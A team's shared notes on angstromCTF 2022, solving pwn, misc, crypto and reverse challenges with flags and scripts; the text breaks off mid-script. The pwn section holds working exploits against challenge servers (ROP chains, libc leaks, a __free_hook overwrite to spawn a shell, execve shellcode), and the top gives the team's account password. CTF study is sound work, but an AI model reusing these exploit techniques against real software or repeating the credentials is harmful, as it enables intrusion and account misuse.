Nicholas-wei
  • NEW!
    NEW!  Connect Ideas Across Notes
    Save time and share insights. With Paragraph Citation, you can quote others’ work with source info built in. If someone cites your note, you’ll see a card showing where it’s used—bringing notes closer together.
    Got it
      • Create new note
      • Create a note from template
        • Sharing URL Link copied
        • /edit
        • View mode
          • Edit mode
          • View mode
          • Book mode
          • Slide mode
          Edit mode View mode Book mode Slide mode
        • Customize slides
        • Note Permission
        • Read
          • Only me
          • Signed-in users
          • Everyone
          Only me Signed-in users Everyone
        • Write
          • Only me
          • Signed-in users
          • Everyone
          Only me Signed-in users Everyone
        • Engagement control Commenting, Suggest edit, Emoji Reply
      • Invite by email
        Invitee

        This note has no invitees

      • Publish Note

        Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

        Your note will be visible on your profile and discoverable by anyone.
        Your note is now live.
        This note is visible on your profile and discoverable online.
        Everyone on the web can find and read all notes of this public team.

        Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

        Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

        Explore these features while you wait
        Complete general settings
        Bookmark and like published notes
        Write a few more notes
        Complete general settings
        Write a few more notes
        See published notes
        Unpublish note
        Please check the box to agree to the Community Guidelines.
        View profile
      • Commenting
        Permission
        Disabled Forbidden Owners Signed-in users Everyone
      • Enable
      • Permission
        • Forbidden
        • Owners
        • Signed-in users
        • Everyone
      • Suggest edit
        Permission
        Disabled Forbidden Owners Signed-in users Everyone
      • Enable
      • Permission
        • Forbidden
        • Owners
        • Signed-in users
      • Emoji Reply
      • Enable
      • Versions and GitHub Sync
      • Note settings
      • Note Insights New
      • Engagement control
      • Make a copy
      • Transfer ownership
      • Delete this note
      • Save as template
      • Insert from template
      • Import from
        • Dropbox
        • Google Drive
        • Gist
        • Clipboard
      • Export to
        • Dropbox
        • Google Drive
        • Gist
      • Download
        • Markdown
        • HTML
        • Raw HTML
    Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
    Create Create new note Create a note from template
    Menu
    Options
    Engagement control Make a copy Transfer ownership Delete this note
    Import from
    Dropbox Google Drive Gist Clipboard
    Export to
    Dropbox Google Drive Gist
    Download
    Markdown HTML Raw HTML
    Back
    Sharing URL Link copied
    /edit
    View mode
    • Edit mode
    • View mode
    • Book mode
    • Slide mode
    Edit mode View mode Book mode Slide mode
    Customize slides
    Note Permission
    Read
    Only me
    • Only me
    • Signed-in users
    • Everyone
    Only me Signed-in users Everyone
    Write
    Only me
    • Only me
    • Signed-in users
    • Everyone
    Only me Signed-in users Everyone
    Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # angstromctf 大家五一有空的时候可以参加这个比赛,赛题有多种难度 网址:https://2022.angstromctf.com/ 时间:4.30早上8点~5.5早上八点 用户名:sixstars 密码:v9ZxL9daZv8dk6N - 题目状态 - W - working - S - Stuck - F - Finish # web # pwn ## whatsmyname 白给,gdb和ida都没用 ```python= #! /usr/bin/env python from pwn import * context.log_level = 'debug' io = remote("challs.actf.co", 31223) io.recvuntil(b"Hi! What's your name?") io.sendline(b"a"*48) io.recvuntil(b"a"*48) randomnum = io.recvuntil(b"!", drop=True) log.info(str(randomnum)) io.sendlineafter(b"Guess my name and you'll get a flag!", randomnum) io.interactive() ``` ## wah (白给,gdb和ida都没用)*2 ```python= #!/usr/bin/env python from pwn import * context.log_level='debug' io = remote("challs.actf.co", 31224) io.sendlineafter(b"Cry:",b"a"*40+p64(0x401236)) io.interactive() ``` ## really obnoxious problem 白给 ```python= #! /usr/bin/env python3 from pwn import * io = remote('challs.actf.co', 31225) #io = process('./really_obnoxious_problem') io.recvuntil(b'Name: ') io.sendline(b'bobby') poprdi = 0x00000000004013f3 poprsir15 = 0x00000000004013f1 io.recvuntil(b'Address: ') io.sendline(b'a' * 72 + p64(poprdi) + p64(0x1337) + p64(poprsir15) + p64(0x4040a0) + p64(0) + p64(0x0401256)) io.interactive() ``` ## dream 这个不用做了,本地出了,远程服务器给的时间太少,已经私聊了,人家在睡觉 已出 `actf{hav3_you_4ny_dreams_y0u'd_like_to_s3ll?_cb72f5211336}` 主要就是一个sell的时候的UAF,但是限制了堆块大小,并且只能新建5个。这里把control chunk直接malloc出来从而让上述限制都失效了。 泄露libc是把一个堆块size位置改掉,然后释放掉(注意布置后面的堆块来通过unsortedbin的检查)之后show出libc。 然后任意地址写改free_hook。 ```python= from pwn import * filename="./dreams" libc_name="libc.so.6" # io = process(filename) io = remote('challs.actf.co', 31227) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60'] def my_sleep(index,date,about): io.recvuntil('> ') io.sendline('1') io.recvuntil('dream?') io.sendline(str(index)) io.recvuntil('?') io.send(date) io.recvuntil('?') io.send(about) def sell(index): io.recvuntil('> ') io.sendline('2') io.recvuntil('?') io.sendline(str(index)) def visit(index,date): io.recvuntil('> ') io.sendline('3') io.recvuntil('trouble? ') io.sendline(str(index)) io.recvuntil('that ') info = io.recvuntil('\n',drop=True) # return key addr io.recvuntil('?') io.recvuntil('date: ') io.send(date) return info def debug(): cmd = "" cmd +="b *0x401549\n" # call visit gdb.attach(io,cmd) visit(0,'1') def arb_write(dst,src): # arb write 8 bytes visit(4,p64(dst)) visit(0,p64(src)) my_sleep(0,'1',"aa") #0 my_sleep(1,'1',"bb") # 1 sell(1) sell(0) heap_info = u64(visit(0,'1').ljust(8,b'\x00')) success("heap_info: " + hex(heap_info)) heap_base = heap_info-0x10 success("heap_addr: " + hex(heap_base)) # change one addr to control block visit(0,p64(heap_base+0x2a0)) my_sleep(3,'1',"aa") # same with 0 # gdb.attach(io,"b *0x4013A4") my_sleep(4,p64(heap_base+0x0012e0),p64(heap_base+0x001310)) # 4 can control whole arb_write(heap_base+0x0012e8,0) # key->0 arb_write(heap_base+0x0012e8-0x10,0xa1) # size->0xa0 arb_write(heap_base+0x001378,0x21) arb_write(heap_base+0x001398,0x21) visit(4,p64(heap_base+0x0012e0)) # fd back to pointer # debug() for i in range(0,8): sell(0) arb_write(heap_base+0x0012e8,0) visit(4,p64(heap_base+0x0012e0)) # debug() # visit(0) visit(4,p64(heap_base+0x0012d8)) libc_info = u64(visit(0,p64(0)).ljust(8,b'\x00')) success("libc_info: " + hex(libc_info)) libc_base = libc_info - 0x1ecbe0 success("libc_base: " + hex(libc_base)) # arb_write(heap_base+0x001310,'/bin/sh') visit(4,p64(heap_base+0x001310)) visit(0,'/bin/sh') arb_write(heap_base+0x001318,0) free_hook = libc_base + libc.symbols['__free_hook'] system = libc_base + libc.symbols['system'] arb_write(free_hook,system) # debug() # gdb.attach(io,"b *0x4014FF") sell(1) io.interactive() ``` ## whereami `actf{i'd_be_saf3_and_w4rm_if_1_wa5_in_la_5ca5e33ff06f}` ```python= from pwn import * filename="./whereami" libc_name="libc.so.6" # io = process(filename) io = remote('challs.actf.co', 31222) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60'] csu1 = 0x4012FA csu2 = 0x4012E0 pop_rdi = 0x0000000000401303 payload = b'a'*0x48 payload +=p64(pop_rdi) payload+=p64(elf.got['puts']) payload +=p64(elf.plt['puts']) payload += p64(csu1) payload +=p64(0) payload+=p64(1)+p64(0x40406C)+p64(0)*2+p64(elf.got['gets']) payload +=p64(csu2) payload +=p64(0)*7 payload+=p64(0x401110) io.recvuntil('you? ') # gdb.attach(io,"b *0x401297") io.sendline(payload) # gdb.attach(io,"b *0x401211") puts_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) success("puts_info: " + hex(puts_info)) libc_base = puts_info-libc.symbols['puts'] success("libc_base: " + hex(libc_base)) input('send') io.sendline(p32(0x0)) payload2 = b"a"*0x48 payload2 +=p64(0x000000000040101a) # ret payload2 +=p64(pop_rdi) payload2 +=p64(libc_base+libc.search(b"/bin/sh").__next__()) payload2+=p64(libc.symbols['system']+libc_base) io.recvuntil('you? ') # gdb.attach(io,"b *0x401297") input('send2') io.sendline(payload2) io.interactive() ``` ## parity `actf{f3els_like_wa1king_down_4_landsl1de_6d28d72fd7db}` 无语题目,要我写奇偶交替的shellcode,把大伙都整笑了。 找gadget的方法我是用下面的脚本,就是暴力获取所有奇数偶数奇数的全排列指令,然后反汇编。 ```python= oushu = [] jishu = [] for i in range(0,0xff): if i%2 == 0: oushu.append(i) else: jishu.append(i) tmp = "" for a in oushu: for b in jishu: for c in oushu: tmp +=chr(a)+chr(b)+chr(c) tmp2 = "" for a in jishu: for b in oushu: for c in jishu: tmp2+=chr(a)+chr(b)+chr(c) with open ("bin1","w") as f1: f1.write(tmp) with open("bin2","w") as f2: f2.write(tmp2) ``` 之后用下面的命令 `disasm -c amd64 < bin > all_gadget` 找到的gadget如下所示。 ```txt 0: 00 01 add BYTE PTR [rcx], al 2: 00 00 add BYTE PTR [rax], al 4: 01 02 add DWORD PTR [rdx], eax 6: 00 01 add BYTE PTR [rcx], al 8: 04 00 add al, 0x0 a: 01 06 add DWORD PTR [rsi], eax c: 00 01 add BYTE PTR [rcx], al e: 08 00 or BYTE PTR [rax], al 10: 01 0a add DWORD PTR [rdx], ecx 12: 00 01 add BYTE PTR [rcx], al 14: 0c 00 or al, 0x0 16: 01 0e add DWORD PTR [rsi], ecx 18: 00 01 add BYTE PTR [rcx], al 1a: 10 00 adc BYTE PTR [rax], al 1c: 01 12 add DWORD PTR [rdx], edx 1e: 00 01 add BYTE PTR [rcx], al 20: 14 00 adc al, 0x0 ``` (这里省略大概90万行) 之后就是在里面找有用的,没有什么技巧,全是感情(太累了!!) 注意这里比较麻烦的就是`syscall`这条指令是\x0f\x05也不是奇偶相见的,因此也要通过加加减减构造。总之就是没什么意思的题目,现实中也完全碰不到。做一次也就够了 ```python= from pwn import * filename="./parity" # io = process(filename) io = remote('challs.actf.co', 31226) context.log_level='debug' elf=ELF(filename) context.terminal=['tmux','split','-hp','60'] context.arch = "amd64" asm_shell = """ add dx,0x41 add dx,0x55 mov al, 0xf nop mov DWORD PTR [rdx], eax pop rbx add rdx,1 mov al,0x5 nop mov DWORD PTR [rdx], eax pop rbx add dx,0x21 mov al,0x2f nop mov DWORD PTR [rdx], eax pop rbx add dx,0x1 mov al,0x61 nop mov DWORD PTR [rdx], eax pop rbx mov al,1 nop add DWORD PTR [rdx], eax pop rbx add dx,0x1 mov al,0x69 nop mov DWORD PTR [rdx], eax pop rbx add dx,0x1 mov al,0x6d nop mov DWORD PTR [rdx], eax pop rbx mov al,1 nop add DWORD PTR [rdx], eax pop rbx add dx,0x1 mov al,0x2f nop mov DWORD PTR [rdx], eax pop rbx add dx,0x1 mov al,0x73 nop mov DWORD PTR [rdx], eax pop rbx add dx,0x1 mov al,0x67 nop mov DWORD PTR [rdx], eax pop rbx mov al,1 nop add DWORD PTR [rdx], eax push rbx sub rdx,1 sub rdx,1 sub rdx,1 sub rdx,1 sub rdx,1 sub rdx,1 push rdx pop rdi xor rsi,rsi pop rbx xor rdx,rdx xor eax,eax push rbx mov al,0x3b """ syscall_shell = asm(asm_shell) # print(len(syscall_shell)) # pause() # gdb.attach(io,"b *0x4012F5") io.recvuntil('> ') io.send(syscall_shell) io.interactive() ``` ## caniride 这个题我觉得只能爆破..如果大家有更好的思路欢迎交流。 做不动了,下面的没法爆破,写不来爆破脚本,改一下能循环爆破就可以了。调试下来这个gadget是能用的,本地能出shell。 ```python= from pwn import * filename="./caniride" libc_name="./libc.so.6" context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60'] while True: io = process(filename) og = [0xe3b2e,0xe3b31,0xe3b34] # the middlen one counts bias = 8 # gdb.attach(io,"brva 0x147E") payload1 = "%43c%16$hhn%6c%17$hhn%156c%18$hhn" io.recvuntil('Name: ') io.sendline(payload1) io.recvuntil('driver: ') io.sendline('-3') io.recvuntil('this is ') code_info = u64(io.recvuntil(' ',drop=True).ljust(8,b'\x00')) code_base = code_info - 0x35a8 success("code_base: " + hex(code_base)) puts_got = elf.got['puts'] + code_base success("puts_got: " + hex(puts_got)) buf_payload = p64(puts_got+1) + p64(puts_got)+p64(puts_got+2) io.recvuntil('yourself: ') try: io.sendline(buf_payload) except : io.close() continue else: io.interactive() break ``` # misc ## amongus 给了个压缩包,解压得到1000个文件,内容不一样的文件的文件名就是flag。 `diff -q --from-file=./actf\{look1ng_f0r_answers_in_the_p0uring_r4in_001a5e03f1d9\}.txt ./*` flag:actf{look1ng_f0r_answers_in_the_p0uring_r4in_b21f9732f829} ## Shark 1 给了段流量,直接追踪第一条就拿到flag了…… flag:actf{wireshark_doo_doo_doo_doo_doo_doo} ## Shark 2 流量里传了张图片,看ascii表示有写JFIF,追踪流把原始数据另存为`.jpeg`格式,flag就写在图上。 flag:actf{i_see_you} # crypto ## Caesar and Desister 凯撒密码 flag:actf{stop_right_there_cryptographer_scum} ## Randomly Sampled Algorithm RSA flag:actf{just_kidding_this_algorithm_wasnt_actually_randomly_sampled} ## Vinegar Factory 题目使用key+m%26的方法加密了"actf{[a-z_]{10,50}}fleg",并在密文前后添加随机噪声。key是4位的。 先用正则表达式"[a-z]{4}\{[^{}]{10,50}\}[a-z]{4}"匹配所有字符串,然后用"actf"解出key,用"fleg"检验是否是所需字符串,重复50次得到flag。 flag:actf{classical_crypto_is_not_the_best} ```python= from pwn import * import string import re context(os="linux",log_level="debug",arch="amd64") r = remote('challs.actf.co', '31333') alpha = string.ascii_lowercase def decrypt(msg,key): ret = "" i = 0 for c in msg: if c in alpha: ret += alpha[(alpha.index(c)-alpha.index(key[i])) % len(alpha)] i = (i + 1) % len(key) else: ret += c return ret for i in range(50): r.recvuntil(b"Challenge ") m=r.recvuntil(b"> ") m=m.decode().split(": ")[1][:-2] pattern=re.compile(r"[a-z]{4}\{[^{}]{10,50}\}[a-z]{4}") flegs=pattern.findall(m) fleg="" for f in flegs: actf="actf" cipher=f[:4] key=[alpha[(alpha.index(cipher[i])-alpha.index(actf[i]))%26] for i in range(4)] f=decrypt(f,key) if f[-4:]=="fleg": fleg=f[:-4] break r.sendline(fleg) log.success(fleg) r.interactive() ``` ## RSA-AES(W) 找到了2020年的writeup:https://ctf.0xff.re/2020/angstromctf_2020/rsa-otp # reverse ## baby3 + 无脑提取字符串 ```c= // main函数的汇编代码 .text:0000000000001139 55 push rbp .text:000000000000113A 48 89 E5 mov rbp, rsp .text:000000000000113D 48 83 EC 40 sub rsp, 40h .text:0000000000001141 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h .text:000000000000114A 48 89 45 F8 mov [rbp+var_8], rax .text:000000000000114E 31 C0 xor eax, eax .text:0000000000001150 48 B8 61 63 74 66 7B 65 6D 68 mov rax, 'hme{ftca' .text:000000000000115A 48 BA 70 61 69 64 6D 65 7A 65 mov rdx, 'ezemdiap' .text:0000000000001164 48 89 45 C0 mov [rbp+var_40], rax .text:0000000000001168 48 89 55 C8 mov [rbp+var_38], rdx .text:000000000000116C 48 B8 72 6F 64 6F 6C 6C 61 72 mov rax, 'rallodor' .text:0000000000001176 48 BA 73 74 6F 6D 61 6B 65 74 mov rdx, 'tekamots' .text:0000000000001180 48 89 45 D0 mov [rbp+var_30], rax .text:0000000000001184 48 89 55 D8 mov [rbp+var_28], rdx .text:0000000000001188 48 B8 68 69 73 63 68 61 6C 6C mov rax, 'llahcsih' .text:0000000000001192 48 BA 65 6E 67 65 5F 61 6D 6F mov rdx, 'oma_egne' .text:000000000000119C 48 89 45 E0 mov [rbp+var_20], rax .text:00000000000011A0 48 89 55 E8 mov [rbp+var_18], rdx .text:00000000000011A4 C7 45 F0 67 75 73 7D mov [rbp+var_10], '}sug' .text:00000000000011AB C6 45 F4 00 mov [rbp+var_C], 0 .text:00000000000011AF B8 00 00 00 00 mov eax, 0 .text:00000000000011B4 48 8B 55 F8 mov rdx, [rbp+var_8] ``` python 打印一下 ```python= flag=b"}sugoma_egnellahcsihtekamotsrallodorezemdiaphme{ftca" print(flag[::-1]) ``` flag:actf{emhpaidmezerodollarstomakethischallenge_amogus} ## Number Game 白给 ```c++= puts("Welcome to clam's number game!"); printf("Step right up and guess your first number: "); v3 = _bss_start; fflush(_bss_start); v8 = read_int(v3, argv); if ( v8 == 314159265 && (printf("That's great, but can you follow it up? "), v5 = _bss_start, fflush(_bss_start), v7 = read_int(v5, argv), v7 == 199212072) ) { puts("That was the easy part. Now, what's the 42nd number of the Maltese alphabet?"); getchar(); fgets(s, 64, stdin); s[strcspn(s, "\n")] = 0; if ( !strcmp(s, "the airspeed velocity of an unladen swallow") ) { puts("How... how did you get that? That reference doesn't even make sense..."); puts("Whatever, you can have your flag I guess."); print_flag(); return 0; } else { puts("Ha! I knew I would get you there!"); return 1; } } ``` 依次输入: 314159265 199212072 "the airspeed velocity of an unladen swallow" 即可获得flag ![](https://i.imgur.com/nj30T8e.png) flag:actf{it_turns_out_you_dont_need_source_huh} ## uninspired 一道有趣的数学题 检测逻辑: ![](https://i.imgur.com/zlGSY6u.png) 输入十个0-9的整数array[0-9],需要满足: ```python= array[i]=sumj(array[j]=i) # 比如array[0]=9,表示 array中有9个的数值为0,而array[9]>=1,因为arr ``` 从0的个数开始从大到小枚举就行,最终得到如下的输入: 6210001000满足上述条件 ![](https://i.imgur.com/SzL9ZeN.png) flag:actf{ten_digit_numbers_are_very_inspiring} ## dny 又是我们的老朋友rust:) 检验逻辑: 变换输入字符串,然后compare 1. 首先是获取输入 ![](https://i.imgur.com/vYFdGFK.png) > 格式要求 actf{xxx} 2. 然后交换一下字符串的顺序 ![](https://i.imgur.com/nlPvhtw.png) > 比较简单 3. 最后进行比较 ![](https://i.imgur.com/UnMbI7m.png) 脚本如下: ```python= compare=b"_ynourtsd_tet_eh2_bfiasl7cedbda7" test1="ABCDEFGHIJKLMNOPQRSTUVWXYZ012345" # 测试输入 test2=list("FEHGBADCNMPOJILKVUXWRQTS3254ZY10") # 变换后的输入 seq=[0 for _ in range(32)] for i in range(32): seq[i]=test1.index(test2[i]) print(seq) res=[0 for _ in range(32)] for i in range(32): res[i]=compare[seq[i]] flag=b'actf{'+bytes(res)+b'}' print(flag) # actf{rusty_on_the_details_2fbdb7ac7de} ``` flag:actf{rusty_on_the_details_2fbdb7ac7de} ## Flatland + 控制流平坦化了,分析起来比较棘手 + 检测逻辑如下: ```c= __int64 __fastcall main(int a1, char **a2, char **a3) { __int64 v3; // rbx __int64 v4; // r15 int v5; // eax int v6; // ebp __int64 v7; // rax __int64 v8; // rax __int64 v9; // rcx __int64 v10; // rax __int64 v11; // rdx int inputchar; // eax bool v13; // zf unsigned int v14; // ebx const char *v15; // rdi __int64 v17[51205]; // [rsp+0h] [rbp-64028h] BYREF v5 = 0; v6 = 0; while ( 2 ) { switch ( v5 ) { case 0: puts( "I call our world Flatland, not because we call it so, but to make its nature clearer to you, my happy solvers," " who are privileged to have control flow."); v7 = (__int64)v6 << 12; *(_OWORD *)((char *)&v17[2] + v7) = 0LL; *(_OWORD *)((char *)&v17[4] + v7) = 0LL; *(_OWORD *)((char *)&v17[6] + v7) = 0LL; *(_OWORD *)((char *)&v17[8] + v7) = 0LL; *(_OWORD *)((char *)&v17[10] + v7) = 0LL; *(_OWORD *)((char *)&v17[12] + v7) = 0LL; *(_OWORD *)((char *)&v17[14] + v7) = 0LL; *(_OWORD *)((char *)&v17[16] + v7) = 0LL; *(_OWORD *)((char *)&v17[18] + v7) = 0LL; *(_OWORD *)((char *)&v17[20] + v7) = 0LL; *(_OWORD *)((char *)&v17[22] + v7) = 0LL; *(_OWORD *)((char *)&v17[24] + v7) = 0LL; *(_OWORD *)((char *)&v17[26] + v7) = 0LL; *(_OWORD *)((char *)&v17[28] + v7) = 0LL; *(_OWORD *)((char *)&v17[30] + v7) = 0LL; *(_OWORD *)((char *)&v17[32] + v7) = 0LL; ++v6; v4 = 1LL; v5 = 13; continue; case 1: v10 = (__int64)v6 << 12; *(__int64 *)((char *)v17 + v10) = v3; *((_BYTE *)&v17[2] + v10 + v3) = 1; *(__int64 *)((char *)&v17[1] + v10) = 1LL; v5 = 4; continue; case 2: v8 = (__int64)v6 << 12; *(__int64 *)((char *)v17 + v8) = v3; *((_BYTE *)&v17[2] + v8 + v3) = 1; v9 = *(__int64 *)((char *)&v17[1] + v8) + 1;// 记录读取数据的次数 *(__int64 *)((char *)&v17[1] + v8) = v9; v5 = 2 * (v9 == 24) + 4; // 输入长度为24 continue; case 3: // error information v14 = 1; v15 = "All the substantial binaries of Flatland itself appear no better than the offspring of a diseased imaginat" "ion, or the baseless instructions of a CPU."; break; case 4: ++v6; v4 = 5LL; v5 = 13; continue; case 5: v11 = v17[512 * (__int64)v6]; if ( v3 == dword_402090[v11] // 四项至少成立一项 || v11 == dword_402090[v3] || v3 == dword_4020F0[v11] || (v5 = 3, v11 == dword_4020F0[v3]) ) { v5 = 3 - (*((_BYTE *)&v17[512 * (__int64)v6 + 2] + v3) == 0);// 后一项等式必须成立,下标不能相同 } continue; case 6: // right v14 = 0; v15 = "Now you have truly understood the secrets of Flatland."; break; case 7: v17[512 * (__int64)v6] = 0LL; // 循环变量 i v5 = 8; continue; case 8: v5 = 2 * (v17[512 * (__int64)v6] != 24) + 9;// i不能为24 continue; case 9: // goto error --v6; v3 = -1LL; v5 = v4; continue; case 10: ++v17[512 * (__int64)v6]; v5 = 8; continue; case 11: v5 = 2 * (v3 == aNftrcd1ontrw4M[v17[512 * (__int64)v6]]) + 10; continue; case 12: v3 = v17[512 * (__int64)v6--]; // v3=index,v6-- v5 = v4; continue; case 13: inputchar = getc(stdin); // 获取输入 v17[512 * (__int64)v6] = inputchar; v13 = inputchar == -1; v5 = 14; if ( v13 ) v5 = 3; continue; case 14: v17[512 * (__int64)v6 + 1] = v4; v3 = v17[512 * (__int64)v6++]; v4 = 15LL; v5 = 7; continue; case 15: v5 = 3; if ( v3 != -1 ) v5 = v17[512 * (__int64)v6 + 1]; --v6; continue; default: continue; } break; } puts(v15); return v14; } ``` > 成功的提示对应case6,失败对应case3,case5是对输入的下标的判断,必须满足数组直接的关系 > 所有输入的字符串都储存在aNftrcd1ontrw4M中 > aNftrcd1ontrw4M="NfTRcD1ontrw}4{mFl_Ad0ua" > 逻辑流分析的过程大致如下 ![](https://i.imgur.com/FxdSJBI.png) 所以大致思路就是调整上面的字符串的顺序,case5中的两个数组来检验下标顺序是否正确 用python写了一个回溯算法的脚本 ```python= string = b"NfTRcD1ontrw}4{mFl_Ad0ua" print(len(string)) # 0x401140 dword_402090 = [20,10,0,22,14,4,5,22,15,15,18,7,10,2,19,19,9,13,8,17,11,12,0,4] dword_4020F0= [17,14,15,6,9,12,5,10,18,1,7,21,16,14,16,2,17,0,10,8,22,3,2,19] flag=False res=[23,4,9,1,14] def backtrack(current): global flag if len(current)==24 and current[-1]==12: flag=True return True if flag: return True # 最多四个方向 choices=[dword_402090[current[-1]]] if dword_4020F0[current[-1]] not in choices: choices.append(dword_4020F0[current[-1]]) if current[-1] in dword_402090 and dword_402090.index(current[-1]) not in choices: choices.append(dword_402090.index(current[-1])) if current[-1] in dword_4020F0 and dword_4020F0.index(current[-1]) not in choices: choices.append(dword_4020F0.index(current[-1])) copy=current for i in choices: if (i not in current): if i!=12 or len(current)==23: current.append(i) # 做选择 if backtrack(current): # 判断选择是否正确 flag=True return True else: current.pop() # 撤销选择 flag=False return False if backtrack(res): print(res) # print(res) flag=[] for i in range(24): flag.append(string[res[i]]) print(bytes(flag)) # actf{Fl4TmAn_rouNdw0R1D} ``` flag:actf{Fl4TmAn_rouNdw0R1D} ## Beam 被迫学习一波Erlang语法:( 首先二进制文件为beam类型,是由Erlang语言编译得到的 ![](https://i.imgur.com/bbw8aZQ.png) 所以需要进行反编译再分析 最终找到一个类似的分析样例:https://github.com/pwning/public-writeup/blob/master/9447ctf2014/reversing/hellomike/hellomike.md 基本解题步骤: (需要现配一个erl环境) 1. 反编译 ```erlang= io:format("~p~n",[beam_disasm:file("test.beam")]). ``` ![](https://i.imgur.com/PFuO7lY.png) 2. 分析关键函数check ![](https://i.imgur.com/05NTrd8.png) 基本逻辑就是先获取输入,然后加密,最后compare compare字符为"gjsfxpslt" 3. 加密函数 check-fun-0 ![](https://i.imgur.com/7F1ixch.png) > 就是对输入的字符加1 解题脚本 ```python= # io:format("~p~n",[beam_disasm:file("test.beam")]). pawd=b"gjsfxpslt" res=[m-1 for m in pawd] print(bytes(res)) # fireworks ``` ![](https://i.imgur.com/SXW6SQU.png) flag:actf{elixir_is_awesome} > 算法不难,但是寻找相关资料、现学语法让人头大 ## Weeb Hunters 2 + 很好的一道题,在CTF中打怪兽 + 逻辑检查难度中等,爆破比较麻烦 + 只贴出脚本和一些截图,感兴趣的可以私聊,后续可能写个博客:) + 感谢魏神帮忙逆向rand函数和运行爆破脚本 :thumbsup: 基本思路:获得武器,升级武器,与boss战斗 ![](https://i.imgur.com/m9PbQxE.png) > 源代码一角 爆破脚本 ```python= from z3 import * currentx=0xdead currenty=0xbeef currentrand=0x5F10AFD5 # 升级武器的密码 v24 = 0xD3385C606D740964 # 医生小屋 [y = 14920, x = 13100] 0x332c,0x3a48 v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0 v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1 v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2 # 根据参数,求出对应的v8,v9 def updateweapon(v24): x=BitVec('x',16) y=BitVec('y',16) s=Solver() one=(v24>>48)&0xffff two=(v24>>32)&0xffff three=(v24>>16)&0xffff four=(v24)&0xffff s.add((x*y)&0xffff==two) s.add((x^y)&0xffff==four) s.add(((x&y)+(x|y))&0xffff==three) s.add((((x&y)+(x|y))+(x*y)+(x^y)&0xffff==one)) s.check() print(s.model()) def getweapon(wtype): x=BitVec('x',16) y=BitVec('y',16) s=Solver() s.add((x^y)&7==1) s.add(((x^y)>>3)&3==wtype) s.add(x>10000,y>10000) s.check() # print(s.model()) m=s.model() x_value=m[x].as_long() y_value=m[y].as_long() return x_value,y_value # 模拟rand函数 def myrand(seed_value): seed=seed_value res=[] r=[0 for _ in range(360)] r[0]=seed for i in range(1,31): temp=(16807 * r[i-1]) % 2147483647 r[i]=BitVecVal(temp,32).as_long() for i in range(31,34): r[i]=r[i-31] for i in range(34,344): temp= r[i-31] + r[i-3] r[i]=BitVecVal(temp,32).as_long() for i in range(344,344+2): temp = r[i-31] + r[i-3] r[i]=BitVecVal(temp,32).as_long() res.append(r[i]>>1) return res def myrand_5(seed_value): seed=seed_value res=[] r=[0 for _ in range(360)] r[0]=seed for i in range(1,31): temp=(16807 * r[i-1]) % 2147483647 r[i]=BitVecVal(temp,32).as_long() for i in range(31,34): r[i]=r[i-31] for i in range(34,344): temp= r[i-31] + r[i-3] r[i]=BitVecVal(temp,32).as_long() for i in range(344,344+5): temp = r[i-31] + r[i-3] r[i]=BitVecVal(temp,32).as_long() res.append(hex(r[i]>>1)) return res # 获取升级武器的种子 def getupdateseed(v8,v9): seed=BitVec('seed',32) s=Solver() s.add(seed>=0x20202020,seed<=0x7e7e7e7e) # rand1,rand2,_,rand4=myrand(seed^currentrand) res=[] r=[0 for _ in range(360)] r[0]=seed^currentrand for i in range(1,31): r[i]=(16807 * r[i-1]) % 2147483647 for i in range(31,34): r[i]=r[i-31] for i in range(31,344): r[i]=r[i-31]+r[i-3] for i in range(344,344+2): r[i]=r[i-31] + r[i-3] res.append(r[i]>>1) # print(res) rand1,rand2=res s.add(rand1<0x8000) s.add(rand2<0x8000) s.add((currentx+rand1)&0xffff==v8) s.add((currenty+rand2)&0xffff==v9) s.check() m=s.model() print(s.model()) # currentrand=rand4 #!import:这里需要更新 seed_value=m[seed].as_long() return seed_value # 获取得到武器的种子 def getweaponseed(wtype): global currentx,currenty,currentrand seed=BitVec('seed',32) s=Solver() s.add(seed&0xff>=0x20,seed&0xff<=0x7e) s.add((seed>>8)&0xff>=0x20,(seed>>8)&0xff<=0x7e) s.add((seed>>16)&0xff>=0x20,(seed>>16)&0xff<=0x7e) s.add((seed>>24)&0xff>=0x20,(seed>>24)&0xff<=0x7e) res=[] r=[0 for _ in range(360)] r[0]=seed^currentrand for i in range(1,31): r[i]=((16807 * r[i-1]) % 2147483647)&0xffffffff for i in range(31,34): r[i]=r[i-31] for i in range(31,344): r[i]=(r[i-31]+r[i-3])&0xffffffff for i in range(344,344+2): r[i]=(r[i-31] + r[i-3])&0xffffffff res.append((r[i]>>1)) # print(res) rand1,rand2=res # 